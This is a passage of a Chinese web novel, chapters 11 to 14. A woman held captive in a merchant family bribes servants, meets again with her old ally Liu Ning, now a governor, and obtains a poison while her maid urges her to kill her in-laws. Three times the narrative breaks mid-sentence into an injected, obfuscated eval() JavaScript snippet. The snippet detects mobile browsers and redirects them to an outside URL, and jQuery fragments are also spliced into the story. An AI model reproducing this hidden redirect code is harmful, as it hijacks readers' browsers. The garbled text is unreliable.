反正陈鸿彦已经用不到,她嫁进陈家又吃了那么多苦,亡夫的小金库她就不客气的笑纳了。 彩玉盯着晃人眼的珠宝,头一次绷不住表情,目瞪口呆:“你,你哪来那么多财物?” 夏知霜没回答,只是分成两份:“这是你的,剩下的可在适当的时机拿去做人情。” 她身份尴尬,不好自己出面收买人心,而彩玉自幼被卖到陈家,熟知各个仆役的秉性,最清楚谁有用,谁能拉拢。 要想马儿跑,必须把马儿喂饱,她并不吝啬对彩玉投入巨额的钱财。 彩玉是个聪明人,略微细想便能明白过来。 “你就不担心我贪墨了不认账?我家人卖我是活契,这些财物不仅足够赎我出去,就连下半辈子也衣食无忧了。”她惯例讽两句。 夏知霜微微一笑,胸有成竹。 以前她在水房听陆婆子跟人扯过八卦,彩玉当初是死契进的府,这辈子都赎不出去了。 对方屡次试探和嘲讽也能理解,没有人会轻而易举且心甘情愿的帮另一个人做事,何况彩玉心高气傲,自然不满总是由她主导。 她不咸不淡地回讽:“左右是我那枉死的丈夫辛苦攒下来的积蓄,你想拿去赎身享乐,还是散出去为他和孩子报仇而铺路,于我都没有太大的损失。” 彩玉被她戳到心底的痛处,又悲又恼。 静默了半晌,她颓然落座,把所有银子拢到一处,竟一个子儿都不给自己留。 夏知霜出乎意料,对她的好感增加了一点点,坐下来跟她共享情报。 譬如厨房的谁谁跟门房的某某是相好,正院的谁谁和跟前院的某某有嫌隙等。 她在这里混那么久不是白待的,暗中听了那么多八卦总能整理出几条有用的信息。 有道是“阎王好过小鬼难缠”,小人物有小人物的生态链,若是利用得当,有时候能带来意想不到的效果。 彩玉是从底层慢慢爬到如今半主半仆的地位,固然比她更明白其中的道理。 她把钱取走后,当夜就开始散财。 不出旬日,彩玉迅速跟门房上下打好关系,加上她本来人脉就广,这下跟各房的小姐妹们愈发“亲密无间”。 夏知霜很快就见到了花钱如流水的成效,大厨房送来的餐食从馒头咸菜换成了正经的饭菜,两荤一素,米饭都有两碗! 她瞬间热泪盈眶,一年多了,终于能吃饱饭了! 然后是从前只能看着流口水的应季瓜果有她的份了,也有合身的新衣服穿了……当然,这些变化在明面上是来源于底下人“孝敬”彩玉的结果。 最令她满意的是,砸下重金后,原本铁桶一块的正院开始泄出关键性消息。 经过三个月的疗养,陈父的顽疾渐渐拔除,大夫说他还不能劳累,否则旧疾随时会复发,所以陈母依旧主内又主外,忙得不可开交。 青阳城所在的丰瑛郡顾名思义,玉矿极其丰富,曾经是整个启朝六成玉石的来源地,即便如今群雄并起,丰瑛郡的美玉亦销往各地,是观东四郡的重要经济来源。 陈家便是靠着买地卖玉成为观淇首富,陈父这一病,生意上的要事可积攒了不少。 一个月后,陈母要去隔壁莱州的商会办事,指名捎上夏知霜。 夏知霜高兴之余还觉得不安,不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326858|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是玄灵的帮忙起了作用,还是老妖婆又想变着法折腾她。 晚些时候,彩玉带回了可靠的消息。 上回香期,云鹤真人跟陈母提了一句话,说是府上少夫人的八字不止契合少爷,也旺陈氏一族,出入让其伴行可逢凶化吉。 到出发当天,陈母当真带夏知霜去往莱州。 在莱州,夏知霜还是被关在下榻之处,里外有好些人看守。 好在彩玉的受限没那么严,她不当值的时候就想办法外出,悄悄把不好出手的珠宝首饰全换成不显眼的银子和铜钱,顺便探听当地的消息。 回到府里,俩人又是眼都不眨的散出去一大笔钱。 正院那边的消息源源不断传到如漆院来。 陈家似乎摊上了什么事,本来快痊愈的陈父急得小病不断,玲玲可能嗅到了什么风声,最近没怎么跟陈母打擂。 陈母更频繁的外出,有时是去处理纠纷,有时是出面跟官府打交道,有时是主持商会解决各种危机。 夏知霜随之四处奔波,住过陈家在不同郡州的屋舍,春季宿别院,夏季住庄子,行程短则待在自家客栈。 她听彩玉提及,得知陈家除了做玉石和客栈外,还经营米铺、布坊和首饰店等生意。 不过这些都与她无关,无论到哪个地方,她都不被允许过问生意场上的事。 夏知霜对此也无所谓,一门心思盘算怎么踏出囚笼。 有钱能使鬼推磨,当了半年的散财童子后,彩玉庞大的交际网终于发挥了作用。 守门的仆役开始放任彩玉领走少夫人,俱都认为彩玉不耐烦被少夫人连累成天关在屋里,干脆就领着少夫人一起出去放风。 他们拿人手短,自是不好阻拦,给她俩规定一个归来的期限便罢。 起初,夏知霜和彩玉只能外出两刻钟,在别院中四处转转假装散心。 后来,随着她们持续疏财,每次也乖乖回去,守门的婆子也就放任她们延长了外出的时间。 夏知霜得已到街上去走走,但防着老妖婆和柳绿突然回去,每次在外头最多逗留半个时辰。 即便如此,能外出放风已经让她很高兴了。 转瞬是凉秋。 陈母去往靖隅城的玉行主持商会事宜,为期两日,恰逢丰收节。 丰收节在观淇九地是大节,官府会牵头举办一场盛大的祭天仪式,祈求来年太平安定和五谷丰登。 民间亦会举行庆祝活动,隆重程度仅次于春节。 夏知霜和彩玉都没见识过丰收节的盛况,当天故技重施,到街上去逛逛热闹。 靖隅城上下张灯结彩,鼓锣喧天,人流如织,鞭炮声绵绵不绝。 街道两旁的摊贩似长龙,吃喝玩乐样样丰富,时不时有免费的舞狮和卖艺表演。 “你看,那边好多人,不知在干什么。”夏知霜双手拿着吃食,指着另一边的人群兴奋地说。 彩玉同觉新奇,到底懂得比她多,语气淡定:“那是傩舞,跳傩请神,祈求神灵赐予民间风调雨顺。” 夏知霜很是向往,三两下啃完点心,去够彩玉的手:“咱们去看看吧。” 上次推心置腹的聊过之后,彩玉对她态度好转,不再尖酸刻薄和冷嘲热讽了,她们拧成一股绳,关系还不错,手拉手逛街是常事。 可刚勾上对方的袖子,夏知霜脸上的笑容霎时凝固。 彩玉无可无不可,正抬步跟随,却见她忽然松开手,对着反方向愣神。 那边熙来攮往的人群中,一位英俊的青衣公子执扇静立,在字画摊前悠然欣赏,他十分专注,自得其乐,仿佛隔绝了喧嚣的尘世。 是刘宁。 是他,绝对没有认错! 夏知霜反应过来的时候,身体擅自追上去了。 12. 第 12 章 街道上骈肩叠迹,娇小的倩影艰难穿行人海,短短的十丈路,竟花费一盏茶的功夫。 “刘公子!” “香包嘞,安神助眠的香包。” “刘宁!” “新鲜出炉的豆腐脑,清甜可口的豆腐脑。” 脆生生的呼唤淹没在摊贩高昂的吆喝声潮中。 好不容易挤到字画摊,夏知霜扑了个空,她急切地问看摊的书生:“请问刚才在这里看字画的公子呢?” 书生奇怪地看她:“走啦。” “有没有看到他往哪里去了?” “没注意。” 夏知霜无法,举目四通八达的街巷,选了条最繁华的路。 追出一小段距离,迎面对上巡街的狮队,她往旁边的伞摊避让。 舞狮的表演颇为精彩,活泼的狮头随性“吃”了个小观众,五六岁的小孩不经吓,哭声一度赛过锣鼓。 狮头轻微颤动,把小孩“吐”出来还给其父母,狮头眨巴眼睛,狮尾缓缓伏身摇尾,一副委屈巴巴的模样跟小孩致歉,引得观众爆发一阵哄笑,众人纷纷鼓掌。 与街头热烈的气氛相比,夏知霜的心是冷的。 她恢复了冷静,没再向前追寻,木然地看着狮队远去。 “可能他已经忘了我。”夏知霜失神低喃。 两年时光说长不长,说短不短,刘宁忘记她不足为奇。 是她擅自把对方当成了救赎,当成了溺水时唯一能抓住的浮木,当成了暗夜中熠熠闪耀而高不可攀的北极星。 实际上对刘宁来说,她只是个萍水相逢、不知根底的人,不来找她再正常不过。 什么“必会鼎力相救”,什么“倘违此誓死无全尸”,大抵是他随口的戏言,只有她傻傻当了真。 …… 无妨。 夏知霜如梦呓细语:“好歹知道他还活着,足够了。” 今时今日,她已不再天真的奢望会有人从天而降解救自己,找刘宁也不过是全一全当日患难与共的情谊。 因此,她不能怪刘宁失约,也不会怪他将旧事遗忘。 没错,得知他还活着就行,此后难眠的深夜都不必再挂念他的安危,就当是了却了一桩心事。 夏知霜努力平复心绪,黯然转身。 方走一步,她再次停驻,内心深处有个声音大声地否定自己的猜测。 不,她应该没有看错人,那天患难与共的情景还历历在目,刘宁不是那等背信弃义之徒。 或许他们之间存在什么误会,就算要忘却这段缘分,也要跟对方确认过其中是否有误解比较好。 夏知霜打定主意再找找看,余光瞥见追上来的彩玉。 彩玉气喘吁吁的停在她斜对面,本想质问夏知霜到底要干什么,目光忽的移到一旁,神色怔怔。 夏知霜顺着望去,眼见旁边伞摊的客人长身玉立,正笑吟吟地注视自己。 青衣公子把玩着湖绿色的纸伞,通身贵气,丰神俊朗不减当年。 此人正是她苦苦找寻的刘宁! 日思夜念的人突然相逢,夏知霜蓦地失了话语。 其实她腹中深藏千言万语,偏偏此刻舌头不争气的打了结,满腔措辞不知从何谈起。 殊不知,激动的人不止她一个。 节骨分明的手指悄然攥紧伞骨,不容人发觉的加深了力道。 相顾无言数息,刘宁打开先前精挑细选的油纸伞,信步近前,伞面移向她发顶遮阳,含笑问候:“夏姑娘,别来无恙。” 他昔日温和的眼神如今暗藏锋刃,男子气概更甚。 她眉宇之间再无天真烂漫的色彩,满面郁气风霜。 阔别许久,再见恍如隔世,“别来无恙”四个字囊概了太多太多难以宣泄的情绪。 夏知霜胡乱点头,低首掩饰湿润的眼角,强颜欢笑:“我刚才的自说自话,你全都听到了?” 刘宁笑着承认:“在下先一步到此观伞,并非有意偷听。” 更早的时候他就认出故人了,恰逢狮队经过,鼓点密集,不是攀谈的好时机。 他本想等狮队走远再行招呼,旋即听到了她的自言自语,不好惊扰。 刘宁取一锭银子买下纸伞,示意摊主不用找钱,对夏知霜比出“请”的手势邀她同行。 二人于闹市中并肩漫步。 彩玉小心翼翼随行,保持着既听不清他们谈话的内容,又跟不丢他们的距离。 “如今遍寻观淇九地,你是为数不多希望我还活着的人。”刘宁感慨道。 夏知霜好奇:“怎么,你的仇家还对你纠缠不休么?” 刘宁停足,不可思议地端详她,不知道在想什么。 “我是不是不该问?”她跟着停下,美眸扑闪着不解之色,“若我有冒犯之处,请你海涵。” “不……”刘宁确信了她是真的对他的身份不知情,重新迈步,徐徐说,“你我之间无需这般忌讳,我这边的事快了了,不足挂齿。倒是夏姑娘,你近来可好?” 夏知霜伸手抚上自己的妇人髻,情绪变得低沉,三言两语概括了同他分别后的事迹。 他的视线定于她白皙的左手,看清新旧交替的伤痕时,眸色转暗。 听完她九死一生的遭遇,刘宁心中不是滋味,惊道:“原来你是被青阳的陈家强娶?”他顿了下,面露追忆,“若我没记错,青阳陈氏的新妇姓丛,是冲喜结亲,早于你我相遇之期。” 夏知霜没想到他居然会知道,连细枝末节都那么清楚,陈家的下人都未必知道自家少夫人姓甚名谁。 转念一想,她就推断出大概是怎么一回事了。 想必是他没忘记当初的承诺,曾经寻过她的踪迹,才会对陈氏的姻亲干系如数家珍。 夏知霜把心下的猜想问出口,果然得到了刘宁的证实。 那日分道扬镳后,他在路上花了半个月躲避追杀抵达梓渊关,又用数月光阴集结家族旧部,待到立稳脚跟后,他第一时间派人寻觅她的下落。 然而用她的本名搜寻却查无此人,于是改从陈氏强聘她这条线索入手。且不说“陈”在观淇九地是大姓,他翻烂了所有符合条件的陈姓世族和乡绅,全都对不上号。 说来也巧。 她的名字对不上本不是大事,找找哪个陈家两年内配过阴婚即可,再不济,查阅各地县衙的花名册也行,看哪家在他们初遇那天拜堂成亲。 要知道,各家各人的婚姻状况在花名册上皆有详细纪录,包括冥婚也是如此,精确到哪天的哪个时辰。 可是青阳的陈氏把不光彩的配阴婚行为隐瞒下来,对外宣称儿媳是冲喜娶进来的,而且直到陈鸿彦去世半年多才公布自家有了新妇。 关键就在这段信息差。 其实陈鸿彦才离世数日,陈母就在媒人那里探听到“丛贞”的信息,当天,一笔定金送到丛家当买命费,一笔巨资送进县衙,把“丛贞”的户籍迁入陈家,同时册上登记的成亲日期改早了几个月,位于陈鸿彦病重之时,落实她冲喜之名。 之所以拖上几个月才办喜事,是为了配合扶微观测算出来的吉时。 这些事,夏知霜是最近才知道的。 阴差阳错下,她和刘宁几度擦肩而过。 刘宁很有风度,没有追问她为何说自己姓夏而非姓丛,只苦涩地说:“真是无巧不成书。” 夏知霜亦连连苦笑:“造化弄人。” 刘宁叹道:“我回过竹屋,见无人使用的痕迹,便知你凶多吉少,想起你那时自三扬城的方位而来,派人多次在三扬城及周边搜寻,没成想你竟在青阳城。” 她转述正院漏出来的消息:“扶微观称三扬城有处风水宝地,我婆婆深信不疑,亡夫就葬身此间。他们需要我亲身到坟地做那五行地罗阵,故而在那附近结识你,法事失败后,我就此囚于青阳陈府。” 扶微观在观淇九地赫赫有名,刘宁自是听过其名号。 二人融洽叙着旧,一个相貌堂堂的玄衣青年上前,恭敬行礼:“主君,该启程了。” 刘宁敛下笑意,朝青年微微颔首,偏头对夏知霜温声解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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有权有势真好啊,此时此刻,夏知霜由衷的那么认为。 她苦苦不能挣脱的牢笼,千方百计也走不脱的陈家,在绝对的权势面前不值一提。 如果,她也有这种权利就好了…… 夏知霜被忽然冒出来的念头吓了一跳,赶紧把这个不切实际的想法甩出去。 当务之急是先脱离陈家,虽说刘宁答应了会帮忙,可她如今已不会把全部希望都寄托到别人身上,还是得做两手准备。 她自顾自沉思,彩玉反倒耐不住了,冷声责问。 “你居然认识刘总督,事先怎么不告诉我,难不成你到现在还在防着我?若你早点告知我你认识他,我们行事会方便许多。” 夏知霜愣神,猛然停下脚步,差点以为幻听了。 刘宁竟然就是新上任的总督,大名鼎鼎的观淇四郡的一把手? “我不知道他的真实身份,”她喃喃自语,转而问彩玉,“他告诉我他叫刘宁,我问过你新总督的名字,对不上号啊?” 彩玉欲言又止,最后无奈地说:“他本名是刘宁,家中行四,所以取字季安。” 刘氏一族名义上仍是启臣,实则已为一方诸侯,百姓会避开君主和长辈的名讳,观其九地不会有人跟刘氏的嫡系同名,而字与名相辅相成,自然也不会有跟他同字的人。 刘宁当日肯告诉她真名,已然侧面表明了身份。 夏知霜哑口无言,该死,忘记古人常以字相称了。 这也不能全怪她,她穿越来就被关在陈家,接触过的男性一边手指都数得过来,其中陈父是长辈,小道士另有道号,压根就没有称呼他人字的环境。 彩玉看她反应不似作假,想到她的出身,寻思她不懂世俗常识也在清理之中,也就没再计较了。 俩人回到客栈,时间已经有点晚了,幸好陈母和柳绿未归,守门的赵婆子嘟囔两句就算了。 纸伞谎称是彩玉新买的,彩玉塞了一点银子,婆子露出心领神会的微笑,没缴走,任她俩拿进房。 两日一晃而过。 回到陈府的当夜,夏知霜见到了据说是刘宁派来的人。 13. 第 13 章 夜深人静时,看守如漆院的其中一个婆子进来行礼:“老奴武欣,给少夫人请安。” 夏知霜坐着受礼,虚虚抬手:“武大娘请起。”嫁来陈家那么久,这还是她头一次摆少夫人的架子。 武氏开门见山:“少夫人日后经手的琐事皆可转给老奴,老奴不才,愿尽绵薄之力,赶早恢复如漆院的供给。” 这可不是小事,恢复供给意味着要说服陈母不再克扣她的份例,谈何容易。 夏知霜不知该不该信,含糊道:“那就有劳你了。” 武氏没多留,欠身告退。 院门一关,彩玉推断道:“武氏乃大管家郑天明之妻,有她从中筹算,咱们院子的供给也许真能恢复。” 回忆起郑管家那看人下菜碟的嘴脸,夏知霜心里愈发没底,哂笑:“枕边风真能起那么大的作用?” 彩玉也摸不准,未答。 片刻,屋檐翻下来一个英气的年轻女子,对夏知霜行抱拳礼:“影卫骆怡,奉主君之命前来保护夏姑娘。” 夏知霜惊喜交加,快步上去抬起她的手:“多谢,要辛苦你一段时间了。” 骆怡面不改色:“这是属下的分内之事,姑娘不必客气。” 随后她解释道,她平时会隐匿在夏知霜周围,在夏知霜遇到危险时暗中相助,若逢杀身之祸,她会立刻现身带夏知霜离开陈家。 骆怡解释完毕就闪身离开,在黑夜中消失无踪。 夏知霜放了一半的心,有武氏和骆怡里外配合,她的性命应当无虞了。 三日后,如漆院的人员发生了变动。 赵婆子犯了事,听说是好赌,常年债台高筑,她吃了熊心豹子胆,竟偷运如漆院内的物件典当掉填赌债,经人告发后,她被护院拖走,再无人见过。 武氏上任如漆院的管事婆子,把底下的人手换成自己的班底,外人无从打探院里的消息,院内的状况也透不出去。 陈母若想知道夏知霜和彩玉在府里的状况,全凭武氏一张嘴怎么说。 不久,如漆院果真恢复了正常供给,少夫人该有的份例一样不少。 夏知霜欣赏屋里刚替换的摆设,一一摸过颜色鲜艳又合身的锦衣,头戴几支新打的簪钗,吃上了三荤两素一汤的膳时,每天都吃得饱饱的! 这才是人过的日子嘛! 最重要的是,除了抄经外,老妖婆派给她的杂活全都有人代劳,武氏还给她安排了两个小丫头听候差遣。 突然从伺候人变成被人伺候,夏知霜还有点不习惯,素日里不大爱使唤人。 后来她听说,是扶微观的云鹤真人传话回来,道是陈员外的病不见起色都是因为陈家没有如约厚待府上的少夫人,致使少夫人不能替少爷尽孝心,少爷在九泉之下不得安宁,影响了陈家的运势云云。 丈夫和儿子是陈母的命根子,事关他们两个,她哪有不重视的道理。 加之郑管家和武氏在陈母跟前给夏知霜说了不少好话,就这么着,如漆院恢复正常供给了。 夏知霜看着屋檐滴滴嗒嗒的雨珠,摩挲手心的厚茧,懊恼出声:“我还有些银子,要是狠心全拿出来给云鹤送去,再早点收买武氏一家,可能就不用吃那么多苦头了。” 彩玉却不那么想。 云鹤老道虽贪财,但扶微观好歹是观淇九地第一道观,什么金银财宝没见过,光是钱财还说不动他办事,他之前为陈家忙前忙后不过是在卖观淇首富的人情。 至于武氏一家,彩玉没少跟他们打交道。 无论武氏还是郑管家,他们跟其他下人没区别,那就是一个无底洞,多少钱银都喂不饱。 再且,混到这个身份的仆役哪个不是人精,“拜高踩低”的活法融进了骨血之中,就算拿钱填满了他们的口袋,他们也不一定会马上给你办事。 这一系列的事从速度到效率上看,必是刘宁托给手段狠辣的人代办的,那人用权摁着扶微观妥协,再以身家性命威胁武氏一家。 只有危及性命,郑管家等精明的刁奴才肯放低身段,彻底倒向一点话语权都没有的“少夫人”。 彩玉分析得头头是道,夏知霜耳目一新,脑海中的认知再次被刷新。 经过几番深思,她不得不认同彩玉的推理。 在前世受了十几年的真善美和平教育,得知有人因她之故被捏着性命威胁后,她心里揪紧了一下。 然,回想被老妖婆虐待,被老匹夫猥亵,被下人轻慢,不安和愧疚等情绪很快不翼而飞。 若想在这个人吃人的世道中存活下去,除了对自己狠,还要对别人狠,这是她在陈家学到的另一个真理。 夏知霜甚至理性的判断出,刘宁的这一套威逼利诱才是办事的最高效手段,当然,这个手段离不开地位的加持。 比如她,散了那么多钱财还不如他的一句话顶用。 她愈发觉得,金钱和权势是这世上最美妙的东西。 夏知霜放下读了一半的书,望着窗外的雨幕发呆,隐隐觉得自己变了。 秋季转瞬即逝,时值寒冬。 刘宁在前线指挥战事,一直没有消息传来,陈府却先乱了套。 先是各地的商队遭遇匪类劫掠,损失惨重;再是有人检举陈家坑蒙拐骗多家友商,众叛亲离;而后爆出陈记店铺以次充好的丑闻,凡是在陈记买过玉饰的人纷纷堵上门去要求退货和赔偿,客源流失。 信誉是行商的生命线,陈家一下子面临多重信誉危机。 陈母为此焦头烂额,忙得脚不沾地,根本没空找夏知霜的麻烦,外出时也等不及捎上她。 这事弄不好的话,陈家恐会就此衰败,轻则倾家荡产,重则家破人亡。 夏知霜纵是不通商界之事,也能看出来这是有人故意搞陈家。 “一直都有。”彩玉道。 传闻称观淇首富富可敌国,那么大一笔财富,别说是普通百姓十分向往,连黑白两道都垂涎欲滴。 随着丰瑛郡的前郡守倒台,陈家目今失去了过硬的靠山,要是没有陈父的手腕和人脉支撑,陈记怕是早就被各方势力瓦解了。 陈母严厉教子也是出于自保的考量,为了让陈鸿彦有资格考科举,陈家明面上把家里的生意全转手出去了,又是斥巨资捐了个员外郎镀金,又是年节不落的殷勤打点各地县衙,散出去的金银是常人难以想象的天文数字。 若是陈鸿彦高中当官,或是捐官上任后闯出名堂来,家中财富还有可能保得住。 而今陈鸿彦亡故,陈父沉疴难愈,陈记摇摇欲坠,成了案板上的鱼肉,谁都想来分一杯羹。 那么刘宁呢。 他不馋陈家这块没有骨头的肥肉么?他那么爽快的答应救她,会不会也在谋划着什么? 从前的夏知霜会天真的否认,咬定赤忱良善的刘宁不可能工于心计,起码不会趁火打她的劫。 现在的夏知霜身心经受过毒打,已经不会轻易的信任他人,人心隔肚皮,知人知面不知心,一切皆有可能。 毕竟要想谋求陈家的财富,从她这个对诸事一窍不通的少夫人手上夺取,总好过从老谋深算的陈氏夫妇那里夺取来得容易。 每每想到刘宁可能会算计到她头上,她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339515|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心比外面的冰霜还要冷。 一个雨雪天,彩玉天没亮就早早出门,夜里子时方归,幸亏陈母和心腹还在商行里与人周旋,武氏得以将她的行踪瞒得滴水不漏。 夏知霜迎到院门,帮她摘掉蓑衣斗笠,拉她到自己的卧房。 烛火在开关门带起的寒风里摇曳,她急切地问:“拿到手了么?” 彩玉点点头,从怀里取出平平无奇的浅绿色小药瓶。 “毒王卜濉毕生杰作洛花毒,无色无味,一滴致命,这是现世仅存的最后一瓶。” 卜濉是观东其中一支土著的后裔。 当年启军举兵南下,把观淇纳入大启疆土时,部分土著跟汉人融合,部分土著避到偏远地区,自称挪族。 挪族幽居山林,民风彪悍,不服教化,常对征兵和纳税的政令置若盲闻。 因挪族人数众多,闹起来整个观东都不得安生,官吏有时候睁只眼闭只眼,不是特别过分的便懒得计较了。 卜濉曾是挪族某个部落的首领,以用毒而闻名,他有个怪癖,终生不把自己制作的毒药易手他人。 她们打听了许久才得知洛花毒的存在,为了秘密购入世间最后一瓶的洛花毒,跟卜濉的后人也磨了数月。 若非他的后人实在穷困潦倒,要不是“丛贞”也是挪族人,这洛花毒还真到不了彩玉手上,也多亏门房上下被她们收买,进出只象征性搜一下身,不然这洛花毒进不了陈府大门。 夏知霜捧着来之不易的小绿瓶,爱惜得不得了,再三琢磨:“倘若用到它,该如何神不知鬼不觉呢。” “这不难,”彩玉笑了下,信心十足,“俩老货俱爱山珍,雨季常食鲜菇,旱季偶尔点名要干菇汤,只需在膳食单子上有山菇的日子下进去即可,事成之后,死因可推到误食毒菇上。” 观淇九郡一到雨季就漫山的蘑菇,每年不少人死于误食毒菇,有的是穷苦百姓不得已采来充饥,有的是好这口的人把相似的有毒菇和无毒菇混淆了。 这套说法或许行得通,只不过…… “是不是太简单了?”夏知霜认为不够缜密,“这可是青阳的陈家,一旦出事,县衙必不肯轻易结案,到时洛花毒如何躲得过仵作的勘验?风险太大了。” “今时不比往日,多少人盼着陈家倒台,好吞并陈家的财产,老货在这个节骨眼出事,想来官府乐见其成,不会多加盘查。” 彩玉不以为然,继续往下说。 “如果他们要追查到底,咱们多送点银子给仵作等人。你或许不清楚,很多人都是这么做的,太多冤案掩埋在雪花白银底下。” 夏知霜知道她说的话有一定的道理,左思右想,仍觉不妥。 诚如她所言,现在有很多人乐见陈氏夫妇丧命,但陈氏夫妇去后,各方势力也很乐意送他们的儿媳下去见他们。 等陈家没了人,才好光明正大地霸占无主的财产,所以陈氏夫妇死后,县衙绝对会严查。 彩玉是想活命,但能拉陈氏夫妻陪葬的话,也不觉得亏。 夏知霜不一样,她求生欲满满,不到万不得已,不会轻易用自己的生命去赌,洛花毒拿在手也只是想增加一个底牌。 她看着彩玉豁出去的神情,此刻无比清晰的认识到,人心善变又难测,即使磨合了那么久的彩玉亦不能全然信赖。 纵然关系再好,对方也可能会为了达到自己的目的利用她、引导她做损己利人之事,切莫被这段时间融洽的感情蒙蔽了。 唯有自己才是最可靠的——夏知霜小心翼翼的把小绿瓶藏进暗格内,在心中这般严肃的告诫自己。 14. 第 14 章 天气越来越冷,转眼是隆冬。 陈府的状况依旧没有好转。 山雨欲来风满楼,仆役们人人自危,大气不敢出,偌大的府邸静得宛如一座坟墓。 如漆院置身事外,夏知霜没有受多大的影响,一如既往的重点关注战事。 刘宁一去三个多月,西边频频传回捷报,乌衣甲收复了叛军占领的五个州,进度喜人。 叛军残党龟缩在虞州垂死挣扎,虞州是他们盘踞的最后一片区域,四周的城镇皆被乌衣甲收复,叛军被包围在中间断掉补给,撑不了多久了。 他快回来了。 日子有了盼头,夏知霜却觉得一天比一天漫长。 有人比她还着急。 “老鼠药风险过大,你不敢用可以理解,可我千里迢迢为你取来了洛花毒,你为何迟迟不用?”彩玉冷声质问。 夏知霜耐心劝解:“下毒就要做同归于尽的觉悟,现在远未到山穷水尽的地步,等刘总督归来再计议也不迟。” 她还是想相信刘宁一次。 初遇时他们彼此自身难保,尚且能互相扶持,现今他大权在握,她不觉得他突然就性情大变翻脸不认人。 假如刘宁真打算对陈家赶尽杀绝,就不会多此一举派骆怡来保护她了。 彩玉不似她从容,眼看陈氏夫妇祸在旦夕,她寝食难安。 倘两个老货死在别人手里,如何能算是她亲手报仇,她胎死腹中的孩儿如何能安心投胎转世。 “正因他快回来了,你更应该放心用毒,万一事发,以他的身份捞你出县衙易如反掌。” 彩玉绕着她漫步,慢声细语劝诱。 “制台大人日理万机,归来后必定公务压身,不知何年何月能想起你来。陈家危如累卵,以夫人狠毒的性子,必在遭祸前除掉眼中钉,拉你们去黄泉路上给她垫脚。” 陈母的眼中钉不外乎是外室玲玲、府中姨娘和夏知霜。 夏知霜明知彩玉在挖坑给她跳,偏偏她的说法有一定的道理,她说的事陈母绝对能做得出来。 话虽如此,她可没有彩玉想象中那么好掌握。 夏知霜状似认真的建议:“既然如此,我把洛花毒交给你,你来决定什么时候用吧。” 彩玉一怔,抬高下巴斜睨她,虽未言语,但脸上仿佛写着“胆小鬼”三个字。 是,她是胆小鬼,夏知霜认了。 有能力毒杀别人是一回事,真正下手去害人性命是另一回事。 她在温室中长大,一直是个与人为善的三好良民,接受的是对违法犯罪之事深恶痛疾的教育,突然要她去杀人,她当然会害怕,会犹豫。 所以没到生死关头的时候,她不会贸然犯下恶果。 这不意味着她会永远退缩,真到二选一的境遇,她会毫不犹豫的下毒拼一拼。 而且,夏知霜觉得彩玉没有比她好到哪里去。 如果彩玉不胆小、不怕死,她早就可以自己下老鼠药给陈氏夫妇拼个玉石俱焚,而非一个劲的教唆夏知霜代劳。 她是害怕了,怕刘宁回来后直接带走夏知霜,把她独自留在这个人间地狱里,这才寻思着先下手为强。 二人四目相对,彩玉被夏知霜盯得略微心虚,不自然地别开眼。 “……还是你拿着吧,与制台大人有交情的人是你,制台大人只会尽心救你。我一个小小丫鬟,命如草芥,谁都不会高看一眼。” 说罢,她神色郁郁地转身离开。 夏知霜目送她的背影,移目窗外的天空,心情沉重。 几日后,变故突发。 自称是被陈家坑害得破产的观东玉行成员,联合其他多达七八十人的“受害者”,把陈府的大门和偏门围得水泄不通,叫嚣着要陈家给个说法。 为了稳住陈父的病情,陈母瞒下生意上的糟心事,这会儿被人堵上门,陈父想不知道都难了。 陈父听完始末后怒急攻心,吐泄不止,府中常驻的两位大夫流着冷汗被请到正房,险险吊住他的命。 消息传到如漆院的时候,夏知霜相当遗憾,老匹夫命真不是一般的硬。 陈母的指令紧随其后:举家迁到庄子上避祸。 事发突然,收拾两下即刻就上路,夏知霜只来得及带上洛花毒。 三辆马车从另一侧的角门悄然离开,遮遮掩掩的出城而去。 彩玉打听消息回来:“夫人下令轻装简行,几位姨娘被留在府里,只带了一车药材出来,去的是郊西新买的庄子,外人不知情。” 夏知霜点头表示了然,心中惶惶。 要不是云鹤老道提过她能旺陈家运势,恐怕今天也会被留在府里,可能会被暴怒的敌人生吞活剥。 到了庄上,她被安排进最偏僻的小院,陈母勒令她不许外出。 武氏没被带出来,守院门的下人换成了清一水的生面孔。 夜静更阑。 夏知霜披着外衣来到窗前,低声轻唤:“骆怡姑娘,你跟来了么?” 几瞬后,一道黑影丝滑地翻窗而入,朝她抱拳:“但请吩咐。” “我临时改囚于此,刘宁……”她顿了下,想起严肃的场合才会连名带姓称呼,改口道,“刘督宪可有法子得知此事?” 骆怡有问必答:“离开府邸时,我已将详情传信出去,主君不日便会收到消息,请您宽心。” 她微微松气:“那就好,多谢你了。” 骆怡点点头,闪身离去,来无影去无踪。 夏知霜心底的不安仍未完驱散,想要找人说说话。 探头看了眼彩玉的窗户,对面已经熄灯了,她失落不已,只好轻合门窗。 庄子依山傍水,方圆百里只此一户,不知名鸟兽的嚎叫伴随月升日落。 夏知霜和彩玉出不去,也没有相熟的下人在附近,无从获知外头的消息。 她看书解闷,默数天数度日。 住进庄子的第十天,陈母收到紧急消息,那些人为了逼迫他们现身,扬言要掘陈鸿彦的坟,陈母不得不离开庄子回去一趟。 